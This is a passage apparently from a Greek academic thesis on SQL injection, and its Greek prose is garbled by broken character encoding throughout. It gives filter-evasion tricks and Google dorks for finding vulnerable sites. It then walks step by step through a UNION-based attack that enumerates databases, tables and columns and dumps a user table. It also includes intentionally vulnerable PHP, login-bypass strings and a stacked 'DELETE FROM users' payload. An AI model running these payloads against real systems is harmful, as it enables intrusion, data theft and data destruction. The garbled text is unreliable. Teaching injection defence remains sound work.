είηε ηνλ ραξαθηήξα || γηα λα ππνδείμεη αιιεινπρία ζην επίπεδν SQL. 

 

     Γηα παξάδεηγκα, 

EXEC(‗SEL‘ + ‗ECT US‘ + ‗ER‘)   

EXEC(‗SEL‘ || ‗ECT US‘ || ‗ER‘) 

 

Μεηαηξνπή (Conversion) 

Η ηερληθή ηεο κεηαηξνπήο ρξεζηκπνηνηεί ηελ ηθαλόηεηα ηεο SQL κεραλήο λα κεηαηξέπεη 

ηύπνπο δεδνκέλσλ.Απηό επηηξέπεη ζε έλαλ επηηηζέκελν λα κελ αληρλεπζεί αθνύ εηζάγεη 

έγθπξεο SQL functions νη νπνίεο αιιάδνπλ ηελ ππνγξαθή ηεο δήισζεο. 

 

Γηα παξάδεηγκα 

OR username = char(37) /* 37 is equivalent to the SQL wildcard character, % */ 
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Μεηαβιεηέο (Variables) 

Πνιιέο κεραλέο επηηξέπνπλ ηελ δήισζε κεηαβιεηώλ νη νπνίεο κπνξνύλ λα 

ρξεζηκνπνηεζνύλ όρη κόλν γηα λα παξαθάκςνπλ ην ζύζηεκα αζθαιείαο 

αλαρώκαηνο(firewall) αιιά θαη ην ζύζηεκα επηθύξσζεο θώδηθα επίζεο. 

 

Γηα παξάδεηγκα: 

    ; declare @myvar nvarchar(80); set @myvar = N‘UNI‘ +  

    N‘ON SEL‘ + N‘ECT U‘ +N‘SER‘);  

    EXEC(@myvar) 

 

To Trojan Zebra θξίλεηαη επηηπρεκέλν ζην λα κεηαθέξεη επηζέζεηο δηόηη νη παξαπάλσ 

ηερληθέο δηαθπγήο έρνπλ σο απνηέιεζκα έλα κεγάιν αξηζκό ελαιιαγώλ ζηηο ππνγξαθέο.΢ε 

πνιιέο πεξηπηώζεηο κπνξνύλ λα ρξεζηκνπνηεζνύλ θαη καδί.Γηα παξάδεηγκα όηαλ έλαο 

ρξεζηκνπνηεί ηελ ηερληθή ησλ θελώλ κεηαμύ ησλ ιέμεσλ θαη έπεηηα θσδηθνπνηεί νιόθιεξε 

ηελ αίηεζε,ηόηε δελ ρξεηάδεηαη κία αιιά δύν αληρλεύζεηο έηζη ώζηε λα απνθεπρζεί ε 

επίζεζε.Απηόο ν απμαλόκελνο αξηζκόο πηζαλώλ επηζέζεσλ δελ κπνξεί λα αληηκεησπηζηεί κε 

ηνπο παξαδνζηαθνύο ηξόπνπο αλίρλεπζεο.  
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10.Μέθοδορ επίθεζηρ SQL Injection  

 

H SQL Injection όπσο αξρηθά αλαθέξακε είλαη κία επίζεζε δειεηεξίαζεο θώδηθα ε νπνία 

εθκπεηαιιεύεηαη θάπνηα θελά πνπ δεκηνπξγνύληαη ζηε βάζε δεδνκέλσλ θαη πην 

ζπγθεθξίκελα ζην επίπεδν database layer ηεο εθαξκνγήο.Παξαθάησ παξνπζηάδνπκε 

νξηζκέλα βήκαηα κε ηα νπνία κπνξνύκε λα εθηειέζνπκε ηελ επίζεζε άκεζα ρσξίο ρξήζε 

θάπνηνπ βνεζεηηθνύ ινγηζκηθνύ. 

 

Βήκα 1
ν
:Aξρηθά βξίζθνπκε κία ηζηνζειίδα ε νπνία λα είλαη εππαζήο ζηελ επίζεζε 

απηή.΢ηόρνο καο είλαη λα αλαδεηνύκε ζειίδεο νη νπνίεο πεξηιακβάλνπλ ηελ θαηάιεμε „id=„ ή 

„file=‟ θαη γεληθά θάζε ηη ζηε βάζε δεδνκέλσλ πνπ κπνξεί λα ιάβεη αξίζκεζε.Γηα 

παξάδεηγκα νη εμήο ζειίδεο έρνπλ πηζαλόηεηα λα είλαη εππαζείο: 

 

       ―inurl:index.php?catid=" 

       "inurl:news.php?catid=" 

       "inurl:index.php?id=" 

      "inurl:news.php?id=" 

      ―inurl:index.php?id= 

      ―inurl:trainers.php?id=‖ 

      ―inurl:buy.php?category=‖ 

      ―inurl:article.php?ID=‖ 

      ―inurl:play_old.php?id=‖ 

 

΋ζνλ αθνξά ηώξα ηνλ ηξόπν κε ηνλ νπνίν ζα έιεγμνπκε αλ πξάγκαηη θάπνηα από ηηο 

ζειίδεο πνπ δηαιέμακε είλαη εππαζήο,αξθεί λα πξνζζέζνπκε κία απόζηξνθν ζην ηεο 

δηεύζπλζεο.Γειαδή ην URL ζα θαίλεηαη θάπσο έηζη: 

http://www.abcd.com/index.php?catid=1' 

 

Δάλ ε ζειίδα εκθαλίδεη κήλπκα ιάζνπο SQL σο απνηέιεζκα εθηέιεζεο,ηόηε ζεκαίλεη 

ηαπηόρξνλα όηη είλαη θαη επάισηε ζηελ επίζεζε.Αλ όρη,ηόηε επηιέγνπκε άιιε δηεύζπλζε. 

΢πλεζηζκέλα ιάζε ηα νπνία εκθαλίδνληαη κεηά από κία ηέηνηα πξνζπάζεηα είλαη ηα εμήο: 

Warning: mysql_fetch_array(): 

Warning: mysql_fetch_assoc(): 

Warning: mysql_numrows(): 

Warning: mysql_num_rows(): 

http://www.abcd.com/index.php?catid=1
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Warning: mysql_result(): 

Warning: mysql_preg_match(): 

 

Βήκα 2
ν
:Αθνύ βξόπκε κία εππαζή ζειίδα ηόηε ην επόκελν βήκα είλαη λα απαξηζκήζνπκε 

ηνλ αξηζκό ησλ ζηειώλ θαη εθείλσλ ησλ ζηειώλ πνπ δέρνληαη ηηο αηηήζεηο ηνπ ρξήζηε ζηε 

βάζε δεδνκέλσλ. 

Έηζη πξνζζέηνπκε ηε ιέμε „order‘ δίπια ζηε δηεύζπλζε ζπλνδεπόκελε από έλαλ αξηζκό. 

Γειαδή:   

 

http://www.abcd.com/index.php?catid=1 order by 1 

 

΢πλερίδνπκε λα απμάλνπκε ηνλ αξηζκό δεμηά ηνπ order ώζπνπ λα ιάβνπκε κήλπκα 

ιάζνπο.΋ζν πεξηζζόηεξν απμάλνπκε ηνλ αξηζκό απηόλ θαη δελ επηζηξέθεηαη θαλέλα ιάζνο  

ηόζν απμάλεηαη θαη ν αξηζκόο ησλ ζηειώλ ζηνλ πίλαθα.Έηζη ζην ηέινο ζα γλσξίδνπκε ην 

ζπλνιηθό αξηζκό ζηειώλ πνπ δηέπεη ην ζύζηεκα. 

Έπεηηα πξνζζέηνπκε ηε δήισζε „Union Select‟ ζην URL.Σαπηόρξνλα απμάλνπκε ην 

αξηζκεηηθό  ηνπ id κε έλα ζεηηθό ή αξλεηηθό ζύκβνιν.Αο ππνζέζνπκε όηη από ηνλ παξαπάλσ 

βήκα παίξλνπκε έλαλ πίλαθα κε 6 ζηήιεο. 

Π.ρ  

http://www.abcd.com/index.php?catid=-1 union select 1,2,3,4,5,6 

 

To απνηέιεζκα ηεο αίηεζεο απηήο ζα είλαη ν αξηζκόο ησλ ζηειώλ ηνλ νπνίν δέρνληαη νη 

αηηήζεηο(queries).Αο ζεσξήζνπκε όηη παίξλνπκε σο απνηέιεζκα ηνπο αξηζκνύο 2,3,4.Σώξα 

εκείο ζα θάλνπκε inject ζηηο δηθηέο καο SQL δειώζεηο ζε κία από απηέο ηηο ζηήιεο. 

 

     Βήκα 3
ν
: Aπαξηζκώληαο ηελ έθδνζε ηεο SQL 

΢ε απηό ην βήκα ζα ρξεζηκνπνηήζνπκε ηελ εληνιή ηεο mysql @@version ή version() 

κέζσ ηεο νπνίαο ζα αλαθηήζνπκε ηελ έθδνζε ηεο βάζεο δεδνκέλσλ.Δπίζεο,ρξεηάδεηαη λα 

θάλνπκε inject ηελ εληνιή ζε κία από ηηο αλνηρηέο ζηήιεο.Αο πνύκε γηα παξάδεηγκα όηη είλαη 

ε 2. 

Σόηε: 

http://www.abcd.com/index.php?catid=-1 union select 1,@@version,3,4,5,6 

 

Καη‟απηόλ ηνλ ηξόπν ζα καο εκθαλίζηεί ε έθδνζε ηεο βάζεο δεδνκέλσλ ζην κέξνο όπνπ 

είρακε αλαθηήζεη ηνλ αξηζκό 2.Δάλ ην αξρηθό ηνπ αξηζκνύ ηεο έθδνζεο είλαη κεγαιύηεξν ή 
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ίζν ηνπ 5 ηόηε είκαζηε ζσζηά θαη πξνρσξάκε ζην επόκελν βήκα.Δάλ όρη ηόηε ζπλερίδνπκε ζε 

άιιε ζειίδα εθηειώληαο ηα ίδηα βήκαηα. 

 

Βήκα 4
ν
: Δπίζεζε 

Γηα λα αλαθηήζνπκε κία ιίζηα από ηηο βάζεηο δεδνκέλσλ πνπ ρξεζηκνπνηνύληαη ζηε 

ζειίδα ζα εθηειέζνπκε ην αθόινπζν ζηελ κπάξα δηεπζύλζεσλ: 

 

http://www.abcd.com/index.php?catid=-1 union select 

1,group_concat(schema_name),3,4,5,6 from information_schema.schemata-- 

 

To απνηέιεζκα απηνύ ζα καο πξνβάιιεη κία ιίζηα.Γηα παξάδεηγκα:  

 

Aπνηέιεζκα: vrk_mlm 

Έπεηηα,γηα λα γλσξίδνπκε ηελ ηξέρνπζα βάζε δεδνκέλσλ ζα εθηειέζνπκε ην εμήο: 

 

http://www.abcd.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6-- 

 

Απνηέιεζκα: vrk_mlm 

Γηα λα αλαθηήζνπκε ηνπο πίλαθεο: 

 

http://www.abcd.com/index.php?catid=-1 union select 

1,group_concat(table_name),3,4,5,6 from information_schema.tables where 

table_schema=database()-- 

Result: administrator,category,product,users 

 

Tώξα ζα επηθεληξώζνπκε ηελ επίζεζε καο ζηνλ πίλαθα ησλ ρξεζηώλ. 

Γηα λα αλαθηήζνπκε ηηο ζηήιεο: 

 

http://www.abcd.com/index.php?catid=-1 union select 

1,group_concat(column_name),3,4,5,6 from information_schema.columns where 

table_schema=database()-- 

       

Aπνηέιεζκα:  

admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodNam

e,prodDesc, 

prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_
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by_id, 

refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position, 

email_id,password,edited_on,last_login,created_on,chain_number,phone,address 

 

Κνηηάδνληαο πξνζεθηηθά ζηηο ζηήιεο θαη ηε ζεηξά ησλ πηλάθσλ,κπνξνύκε λα 

θαηαιήμνπκε όηη αξρίδνληαο από ην id,incredible_id απηά απνηεινύλ ηηο ζηήιεο πνπ αλήθνπλ  

ζηνλ  πίλαθα ρξεζηώλ δειαδή ζε απηό γηα ην νπνίν ελδηαθεξόκαζηε εκείο. 

Eμαγώκελεο πιεξνθνξίεο: 

 

union select    

group_concat(id,0x3a,incredible_id,0x3a,f_name,0x3a,m_name,0x3a,l_name,0x3a,refe

red_by_id,0x3a,refered_direct_to_ids,0x3a) from vrk_mlm.user-- 

 

Ππακηικά παπαδείγμαηά 

΢ηα SQL injections έλαο θαθόβνπινο ρξήζηεο πξνζπαζεί λα εθκεηαιιεπηεί ηελ ειιηπή ή 

ιαλζαζκέλε επαιήζεπζε (validation) ησλ δεδνκέλσλ εηζόδνπ (input data) κηαο εθαξκνγήο. 

Σππηθά ε εππάζεηα ησλ SQL injections κπνξεί λα εκθαλίδεηαη θαη ζε εθαξκνγέο πνπ δε 

ζπλδένληαη ζην δηαδίθηπν, όκσο εθεί είλαη ζαθώο πην ζπάλην. ΢πλήζεηο ηξόπνη όπνπ νη 

ρξήζηεο δίλνπλ δεδνκέλα εηζόδνπ ζε κηα εθαξκνγή web είλαη νη θόξκεο (κε ηηο κεζόδνπο 

HTTP GET θαη POST) θαη ηα links (κέζνδνο HTTP GET). ΢ηελ πεξίπησζε ειιηπνύο 

επαιήζεπζεο ησλ δεδνκέλσλ εηζόδνπ είλαη ζε θάπνηεο πεξηπηώζεηο δπλαηόλ λα πεξαζηνύλ 

extra εληνιέο SQL πξνο εθηέιεζε ζηελ εθαξκνγή ή λα αιιαρηνύλ κέξε κηαο επεξώηεζεο 

SQL κε ηξόπν πνπ δελ έρεη πξνβιεθζεί. 

Αο δνύκε όκσο ην πξόβιεκα κέζσ κεξηθώλ πξαθηηθώλ παξαδεηγκάησλ (γηα ιόγνπο 

απιόηεηαο ηα παξαδείγκαηα δίλνληαη ζε PHP): 

 

Παξάδεηγκα 1 

Αο ζεσξήζνπκε ηελ πεξίπησζε πξνβνιήο ζηνηρείσλ ελόο ππαιιήινπ από έλαλ πίλαθα κε 

όλνκα «employees» ζε κηα βάζε δεδνκέλσλ MySQL. 

Σν παξαθάησ (εππαζέο) block θώδηθα PHP εθηειεί κηα επεξώηεζε SELECT ζηε βάζε 

δεδνκέλσλ, κε ζθνπό ηελ αλάγλσζε από ηε βάζε δεδνκέλσλ ησλ ζηνηρείσλ ελόο 

ζπγθεθξηκέλνπ ππαιιήινπ. 

<?php 

$qry = "SELECT employeeid, fullname, salary FROM employees " . 

       "WHERE employeeid =" . $_GET['employeeid']; 

$result = mysql_query($qry); 
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?> 

 

΢θνπόο ηνπ πξνγξακκαηηζηή εδώ είλαη ε εθηέιεζε επεξώηεζεσλ ηεο κνξθήο: 

 

SELECT employeeid, fullname, salary FROM employees WHERE employeeid = 3 

SELECT employeeid, fullname, salary FROM employees WHERE employeeid = 352 

SELECT employeeid, fullname, salary FROM employees WHERE employeeid = 590 

 

όπνπ ην employeeid (πξσηεύνλ θιεηδί ζηνλ πίλαθα employees) είλαη ηηκή πνπ δίλεηαη ζηελ 

πξάμε από ηνλ ρξήζηε ηεο εθαξκνγήο (κέζσ ηνπ browser, κε ρξήζε ηεο κεζόδνπ GET ηνπ 

HTTP). Γηα παξάδεηγκα, ζηελ ηππηθή πεξίπησζε, ην employeeid κπνξεί λα δίλεηαη κε έλα 

link ηεο κνξθήο: 

 

http://www.example.com/employees.php?employeeid=3 

 

Σν πξόβιεκα είλαη όηη ε ηηκή ηεο παξακέηξνπ GET «employeeid» πνπ δίλεηαη ζην URL, 

δελ επαιεζεύεηαη επαξθώο πξηλ ηελ εθηέιεζε ηεο επεξώηεζεο από ηνλ θώδηθα. Έηζη έλαο 

θαθόβνπινο ρξήζηεο κπνξεί λα γξάςεη ην εμήο URL (ρεηξνλαθηηθά) ζηνλ browser: 

 

http://www.example.com/employees.php?employeeid=3 OR 1=1 

 

 

όπνπ ζα έρεη σο απνηέιεζκα λα εθηειεζηεί ζηε βάζε δεδνκέλσλ ε εμήο επεξώηεζε: 

SELECT employeeid, fullname, salary FROM employees WHERE employeeid=3 OR 1=1 

 

έηζη όκσο ν θιάδνο WHERE ζα ηζρύεη γηα θάζε εγγξαθή ηνπ πίλαθα employees, νπόηε 

επηζηξέθνληαη όιεο νη εγγξαθέο ζηε κεηαβιεηή $result. 

Αλάινγα κε ην πσο ρξεζηκνπνηείηαη ινηπόλ ζηε ζπλέρεηα ε κεηαβιεηή $result (ώζηε λα 

παξνπζηάζεη ηα δεδνκέλα ζηνπο ρξήζηεο ηεο web εθαξκνγήο), ελδέρεηαη ν θαθόβνπινο 

ρξήζηεο λα δεη πιεξνθνξίεο πνπ δελ είλαη ζθόπηκν. 

 

Παξάδεηγκα 2 

Αο δνύκε ην εμήο (εππαζέο) block θώδηθα PHP γηα login ζε κηα εθαξκνγή, όπνπ 

ρξεζηκνπνηνύληαη νη ηηκέο πνπ δίλνπλ νη ρξήζηεο ζε κηα web θόξκα (username θαη password) 

γηα ηελ είζνδν ηνπο ζην ζύζηεκα: 
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<?php 

$username = $_POST['username']; 

$password = $_POST['password']; 

$qry = "SELECT userid FROM users" . 

       " WHERE username='$username' AND password='$password'"; 

$result = mysql_query($qry); 

if (mysql_numrows($result) > 0) { 

    //log in user... 

} 

?> 

Οη ηηκέο username θαη password δίλνληαη κε ρξήζε κηαο ηππηθήο web login θόξκαο (κε ηε 

κέζνδν HTTP POST).  

 

Αλ ν θαθόβνπινο ρξήζηεο ζην password πεδίν δώζεη ηελ ηηκή: 

 

bar' OR 1=1 OR username=' 

 

ηόηε από ηνλ παξαπάλσ θώδηθα PHP έρνπκε ηελ εθηέιεζε ηεο επεξώηεζεο: 

 

SELECT userid FROM users WHERE  

username='foo' AND password='bar' OR 1=1 OR username=''; 

 

ε νπνία όκσο ηζρύεη γηα θάζε εγγξαθή ηνπ πίλαθα (αθνύ πάληνηε 1=1) θαη έηζη ην $result ζα 

έρεη πάληνηε εγγξαθέο, αλεμάξηεηα από ην ηη έρεη εηζαρζεί ζηα πεδία username θαη password. 

΢ηε ζπλέρεηα ε κεηαβιεηή $results ειέγρεηαη γηα ην αλ πεξηέρεη εγγξαθέο (πνπ κε ηνλ ηξόπν 

απηόλ ζα πεξηέρεη), ηόηε θάλεη login ηνλ ρξήζηε. Έηζη ελδέρεηαη ε πξόζβαζε ζηελ εθαξκνγή 

(login) από άηνκα πνπ δελ είλαη εμνπζηνδνηεκέλα γηα θάηη ηέηνην. 

΢ε απηό ην παξάδεηγκα θαη ζην πξνεγνύκελν, είδακε πσο έλαο θαθόβνπινο ρξήζηεο 

κπνξεί λα πξνζπαζήζεη λα αιιάμεη κηα SQL επεξώηεζε κε ηξόπν πνπ δελ έρεη πξνβιεθζεί 

από ηνλ πξνγξακκαηηζηή. Φπζηθά ε επεξώηεζε ζα κπνξνύζε λα αιιαρζεί κε δηαθνξεηηθνύο 

ηξόπνπο από όηη ζηα ζπγθεθξηκέλα παξαδείγκαηα (ηππηθή πεξίπησζε είλαη γηα παξάδεηγκα ε 

πξνζπάζεηα ρξήζεο θιάδσλ UNION ηεο SQL). 

 

Παξάδεηγκα 3 

Σν παξάδεηγκα απηό, εθκεηαιιεύεηαη ηε δπλαηόηεηα εθηέιεζε πνιιαπιώλ εληνιώλ SQL 

σο κηα επεξώηεζε ζην ζύζηεκα. Οη εληνιέο δηαρσξίδνληαη κεηαμύ ηνπο κε ηνλ ραξαθηήξα ; 
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(semicolon – ειιεληθό εξσηεκαηηθό). Η εθηέιεζε πνιιαπιώλ εληνιώλ σο κηα επεξώηεζε 

είλαη κηα ζπλεζηζκέλε δπλαηόηεηα ζην ρώξν ησλ βάζεσλ δεδνκέλσλ, όκσο απνηειεί ηνλ 

κεγαιύηεξν θίλδπλν ζηελ πεξίπησζε ησλ SQL Injections. Θα βαζηζηνύκε ζην παξάδεηγκα 1 

θαη ζα ζεσξήζνπκε όηη ην ζύζηεκα βάζεσλ δεδνκέλσλ είλαη ε PostgreSQL. Έρνπκε ην εμήο 

(εππαζέο) block θώδηθα: 

 

<?php 

$qry = "SELECT employeeid, fullname, salary FROM employees " . 

       "WHERE employeeid =" . $_GET['employeeid']; 

$result = pg_query($qry); 

?> 

 

ν πξνγξακκαηηζηήο αλακέλεη δεδνκέλα εηζόδνπ από links ηεο κνξθήο: 

 

http://www.example.com/employees.php?employeeid=3 

 

πνπ ζα έρεη σο απνηέιεζκα ηελ εθηέιεζε ηεο επεξώηεζεο: 

 

SELECT employeeid, fullname, salary FROM employees 

WHERE employeeid = 3 

 

απηή ηε θνξά όκσο ν θαθόβνπινο ρξήζηεο δίλεη ηελ εμήο URL (ρεηξνλαθηηθά) ζηνλ browser: 

 

http://www.example.com/employees.php?employeeid=3;DELETE FROM users; 

 

θαη έηζη ζα εθηειεζηνύλ νη εμήο 2 εληνιέο ζηελ θιήζε ηεο pg_query(): 

 

SELECT employeeid, fullname, salary FROM employees 

WHERE employeeid = 3; 

DELETE FROM users; 

 

όπνπ ζα έρεη σο απνηέιεζκα λα δηαγξαθνύλ όια ηα δεδνκέλα ηνπ πίλαθα users από ηε βάζε. 

Φπζηθά αληί ηνπ DELETE ηνπ παξαδείγκαηνο, νπνηαδήπνηε άιιε SQL εληνιή ζα 

κπνξνύζε ζηελ πεξίπησζε απηή λα εθηειεζηεί (θαη απηό είλαη θαη έλα θαιό παξάδεηγκα ηνπ 

γηαηί δελ είλαη αζθαιέο λα ζπλδέεηαη ε εθαξκνγή καο ζηε βάζε δεδνκέλσλ κε ηα ζηνηρεία 

ελόο ρξήζηε ηεο βάζεο πνπ έρεη απμεκέλα δηθαηώκαηα πξόζβαζεο – κε απμεκέλα δηθαηώκαηα 
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πξόζβαζεο θάπνηνο ζα κπνξνύζε λα δηαγξάςεη έσο θαη άιιεο βάζεηο δεδνκέλσλ ηνπ 

ζπζηήκαηνο κε ζρεηηδόκελεο κε ηε ζπγθεθξηκέλε εθαξκνγή web). 

11.Ιnline SQL Injection 
 

΢ε απηήλ ηελ ελόηεηα ζα παξνπζίαζνπκε κεξηθά παξαδείγκαηα ρξεζηκνπνηώληαο Inline 

SQL Injection.H επίζεζε απηή ζπκβαίλεη όηαλ εηζάγνπκε SQL θώδηθα κε ηνλ ηξόπν όπνπ 

όια ηα κέξε ηεο αξρηθήο αίηεζεο εθηεινύληαη.Σν παξαθάησ ζρήκα δείρλεη κία 

αλαπαξάζηαζε ηνπ ηξόπνπ επίζεζεο: 

 

 

 

Αο δνύκε ηώξα έλα παξάδεηγκα ην νπνίν πεξηγξάθεη ην είδνο ηεο επίζεζεο γηα λα 

θαηαιάβνπκε πσο ιεηηνπξγεί: 

H ζειίδα victim.com πεξηέρεη κία θόξκα απζεληηθνπνίεζεο γηα ηελ πξόζβαζε ζην 

δηαρεηξηζηηθό κέξνο ηεο.Η απζεληηθνπνίεζε απαηηεί από ην ρξήζηε λα εηζάγεη έλα έγθπξν 

username θαη password.Αθνύ πιεθηξνινγήζεη απηά ε εθαξκνγή ζα ζηείιεη κία αίηεζε ζηε 

βάζε δεδνκέλσλ γηα λα επηθπξώζεη ην ρξήζηε.Η αίηεζε ζα είλαη ηεο εμήο κνξθήο: 

 

 

Η εθαξκνγή δελ πξνθαιεί θακία ηξνπνπνίεζε ζηα δεδνκέλα επνκέλσο έρνπκε πιήξε 

έιεγρν ζηα δεδνκέλα ηα νπνία ζηέιλνπκε ζηνλ εμππεξεηεηή. 

΢ην παξαθάησ ζρήκα θαίλεηαη ελόο SQL statement όηαλ εηζάγεη ν ρξήζηεο ηα ζηνηρεία 

ηνπ. 
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΢σήμα 2: SQL θώδηθαο εηζάγεηαη ζηα πεδία username θαη password 

 

Δηζάγνληαο κία απιή αλαθνξά ζην πεδίν username θαη παηώληαο ην θνπκπί Send 

επηζηξέθεηαη ην αθόινπζν ιάζνο: 

 

Σν ζθάικα ππνδεηθλύεη όηη ε θόξκα είλαη εππαζήο ζε  SQL Injection.Σν εμαγώκελν 

statement πνπ αθνινπζεί δεδνκέλνπ ησλ ζηνηρείσλ πνπ εηζήρζεζαλ πξίλ είλαη: 

 

Αξρηθά ζηόρνο καο είλαη ε εκθάληζε ηνπ ζθάικαηνο κε ζθόπν ηελ αλαγλώξηζε ηεο 

εππάζεηαο.Έπεηηα, πξέπεη λα πξνθαιέζνπκε ην ζύζηεκα λα θηηάμεη κία έγθπξε SQL δήισζε 

ε νπνία λα ηθαλνπνηεί ηηο ζπλζήθεο ηηο νπνίεο ζέηεη ε εθαξκνγή κε ζθνπό λα δηαπεξάζνπκε 

ην ζύζηεκα απζεληηθνπνίεζεο. 

΢ε απηήλ ηελ πεξίπησζε ζεσξνύκε όηη θάλνπκε κία επίζεζε ζε έλα string δηόηη έλα 

username ζπλήζσο αλαπαξηζηάηαη σο έλα string θαη όηαλ εηζάγνπκε κία αλαθνξά 

επηζηξέθεηαη έλα ιάζνο κέζα ζε εηζαγσγηθά.Γηα απηνύο ηνπο ιόγνπο ζα εηζάγνπκε „ or 

„1‟=‟1 ζην πεδίν username θαη ζα αθήζνπκε ην πεδίν ηνπ password θελό.Από απηό ζα 

πξνθύςεη ε αθόινπζε δήισζε: 
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H δήισζε απηή όκσο δελ ζα έρεη ηα πξνζδνθώκελα απνηειέζκαηα.Γελ ζα επηζηξέςεη 

TRUE γηα θάζε πεδίν ιόγσ ηεο πξνηεξαηόηεηαο ηνπ ινγηθνύ ηειεζηή.Ο AND έρεη πςειόηεξε 

πξνηεξαηόηεηα από ηνλ ηειεζηή OR θαη ζπλεπώο ζα κπνξνύζακε λα μαλαγξάςνπκε ην 

statement θαηά ηνλ αθόινπζν ηξόπν γηα λα γίλεη επθνιόηεξα θαηαλνεηό: 

 

Απηό όκσο δελ είλαη ην απνηέιεζκα πνπ ζα ζέιακε θαζώο επηζηξέθεη κόλν ηηο ζεηξέο  ηνπ 

πίλαθα πνπ πεξηέρνπλ θελό password.Μπνξνύκε λα αιιάμνπκε όκσο απηό,πξνζζέηνληαο κία 

θαηλνύξγηα ζπλζήθε OR όπσο „or 1=1 or „1‟=‟1: 

 

Έηζη κεηαηξέπνπκε κε απηόλ ηνλ ηξόπν ην statement λα επηζηξέθεη πάληα ινγηθά αιεζέο 

απνηέιεζκα(TRUE) θαη επνκέλσο κπνξνύκε λα παξαθάκςνπκε ηε δηαδηθαζία 

απζεληηθνπνίεζεο.Χζηόζν κεξηθνί κεραληζκνί απζεληηθνπνίεζεο δελ κπνξνύλ λα 

δηαπεξαζηνύλ επηζηξέθνληαο θάζε ζεηξά ζην πίλαθα administrators.Γη‟απηό ίζσο ρξεηαζηεί 

κόιηο κία ζεηξά(row) γηα λα επηζηξαθεί.΢ε απηήλ ηελ πεξίπησζε ζα πξέπεη λα ηξέμνπκε θάηη 

παξόκνην κε απηό:admin‟ and „1‟=‟1‟ or „1‟=‟1 ην νπνίν ζπλεπάγεηαη ηνλ αθόινπζν SQL 

θώδηθα: 

 

Σν statement απηό ζα επηζηξέςεη κόλν κία ζεηξά ηεο νπνίαο ην username ηζνδπλακεί κε ηε 

ιέμε admin.΢ε απηήλ ηελ πεξίπησζε πξέπεη λα έρνπκε ππόςηλ όηη ρξεηάδεηαη λα πξνζζέζνπκε 

δύν ζπλζήθεο δηόηη δηαθνξεηηθά ε AND θαη ην password=” ζα είλαη ηα strings πνπ ζα ιάβνπλ 

κέξνο ζηε δηαδηθαζία. 

Μπνξνύκε επίζεο λα θάλνπκε injection εηζάγνληαο πεξηερόκελν ζην πεδίν password,ην 

νπνίν ζηελ πεξίπησζε απηή είλαη επθνιόηεξν λα γίλεη.Δμαηηίαο ηεο θύζεο ηεο αίηεζεο απιά 

ζα εηζάγνπκε κία αιεζή ζπλζήθε όπσο „or „1‟=‟1 γηα λα δεκηνπξγεζεί ην αθόινπζν query: 

 

H δήισζε ζα επηζηξέςεη ηα πεξηερόκελα ηνπ πίλαθα administrators εθκεηαιιεπόκελν 

επηηπρώο ηελ εππάζεηα ηεο εθαξκνγήο. 
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11.1.Τπογπαθέρ – Strings 

Παξαθάησ παξνπζηάδνπκε κία ιίζηα κε ππνγξαθέο νη νπνίεο κπνξνύλ λα 

ρξεζηκνπνηεζνύλ θαηά ηε δηάξθεηα αλαθάιπςεο θαη επηβεβαίσζεο δηαδηθαζίαο κίαο inline 

injection ζε έλα πεδίν πνπ απνηειείηαη από strings. 

‗   → Πξνθαιεί ιάζνο.Δάλ είλαη επηηπρέο,ε βάζε δεδνκέλσλ ζα επηζηξέςεη έλα ζθάικα. 

1‘ or  ‗1‘=‘1 ή 1‘) or (‗1‘=‘1  → Σν απνηέιεζκα ζα είλαη κία αιεζήο ζπλζήθε.Δάλ είλαη 

επηηπρήο ζα επηζηξέςεη θάζε ζεηξά ηνπ πίλαθα. 

value‘ or ‗1‘=‘2 ή value‘) or (‗1‘=‘2 → Δπηζηξέθεη ην ίδην απνηέιεζκα κε ηελ αξρηθή 

ηηκή 

1‘ and ‗1‘=‘2 ή 1‘) and (‗1‘=‘2 → To απνηέιεζκα είλαη πάληα ινγηθά ιαλζαζκέλε 

ζπλζήθε θαη αλ είλαη επηηπρέο δελ επηζηξέθεη θακία ζεηξά ηνπ πίλαθα. 

1‘ or ‗ab‘=‘a‘+‘b ή 1‘) or (‗ab‘=‘a‘+‘b → Δπάισηε ζε Microsoft SQL 

Server.Δπηζηξέθεη ηελ ίδηα πιεξνθνξία όπσο κία αιεζήο ζπλζήθε. 

1‘ or ‗ab‘=‘a‘ ‘b ή 1‘) or (‗ab‘=‘a‘ ‘b → Δπάισηε ζε MySQL. Δπηζηξέθεη ηελ ίδηα 

πιεξνθνξία όπσο κία αιεζήο ζπλζήθε όηαλ είλαη επηηπρεκέλε. 

1‘ or ‗ab‘=‘a‘ ||‘b ή 1‘) or (‗ab‘=‘a‘||‘b → Δπάισηε ζε Oracle. Δπηζηξέθεη ηελ ίδηα 

πιεξνθνξία όπσο κία αιεζήο ζπλζήθε. 

 

 

11.2.Διζάγονηαρ απιθμηηικέρ ηιμέρ 

΢ε απηήλ ηελ ελόηεηα ηώξα ζα εμεηάζνπκε πώο κπνξνύκε λα πξαγκαηνπνίεζνπκε 

Injection ελάληηα ζε κία δηέπζπλζε πνπ πεξηέρεη αξηζκεηηθή ηηκή. 

Οη ρξήζηεο κπνξνύλ λα ζπλδένληαη ζηε ζειίδα victim.com θαη λα έρνπλ πξόζβαζε ζην 

πξνθίι ηνπο.Δπίζεο,κπνξνύλ λα ειέγρνπλ γηα κελύκαηα πνπ ζηάιζεθαλ ζε απηνύο από 

άιινπο ρξήζηεο.Ο θάζε ρξήζηεο έρεη έλα κνλαδηθό αλαγλσξηζηηθό ή uid ην νπνίν 

ρξεζηκνπνηείηαη γηα λα αλαγλσξίδεη κνλαδηθά ηνλ θάζε ρξήζηε ζην ζύζηεκα. 

Η δηεύζπλζε γηα λα εκθαλίδνπκε ηα κελύκαηα πνπ ζηάιζεθαλ ζην ρξήζηε καο  έρεη ηελ 

αθόινπζε κνξθή: 

http://victim.com/messages/list.aspx?uid=45 

΋ηαλ δνθηκάδνπκε ηελ uid παξάκεηξν ζηέιλνληαο κία απιή αλαθνξά,ιακβάλνπκε ην εμήο 

ιάζνο: 

 

Γηα λα απνθηήζνπκε πεξηζζόηεξεο πιεξνθνξίεο ζρεηηθά κε ην query κπνξνύκε λα 

ζηείινπκε ηελ εμήο αίηεζε: 

http://victim.com/messages/list.aspx?uid=45


Πα
νε
πι
στ
ήμ
ιο 
Πε
ιρα
ιώ
ς

69 
 

http://victim.com/messages/list.aspx?uid=0 having 1=1 

Η απάληεζε από ηνλ server είλαη ε εμήο: 

 

